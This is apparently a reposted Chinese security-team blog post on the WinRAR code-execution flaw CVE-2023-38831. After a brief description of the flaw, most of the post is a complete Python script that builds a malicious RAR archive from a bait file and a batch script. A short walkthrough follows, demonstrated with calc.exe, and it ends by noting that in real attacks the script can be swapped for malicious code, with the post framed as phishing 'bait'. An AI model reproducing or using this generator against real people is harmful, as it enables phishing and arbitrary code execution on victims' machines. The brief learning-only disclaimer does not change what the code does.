1 漏洞描述及简介
WinRAR是一款文件压缩器。该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR 在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。
漏洞编号:CVE-2023-38831
WinRAR 是一款适用于 Windows 系统的压缩包管理器。WinRAR 6.2.3之前版本打开压缩文件时会调ShellExecute 函数匹配文件名,如果目标文件名与文件类型不匹配时则会执行目标文件中的批处理文件。攻击者可利用该漏洞构造恶意的压缩文件,其中包含具有恶意 payload 的文件和同名的文件夹,通过诱导用户打开压缩文件中的带有 payload 的恶意文件远程执行任意代码。
2 影响版本
RARLabs WinRAR< 6.23
3 环境搭建
安装存在漏洞的应用环境 http://www.winrar.com.cn/download-61164scp.html
4 复现过程
漏洞利用脚本:CVE-2023-38831.py
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "test.pdf"
SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .cve-2023-38831-exp-gen.py poc
python .cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("ok..")
script.bat内容如下
calc.exe
rsec.txt内容随意,放入同一个文件夹中
执行python脚本将script.bat和rsec.txt打包成一个带漏洞的RAR:rsec.rar
python3 CVE-2023-38831.py rsec.txt script.bat rsec.rar
用winrar打开rsec.rar
成功执行命令script.bat中命令
实战中将script.bat中的内容改为其他恶意代码即可。
--------------《cs反制已在星球发布》
揽月安全团队发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!!!!!
原文始发于微信公众号(揽月安全团队):鱼饵-WinRAR代码执行(CVE-2023-38831)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论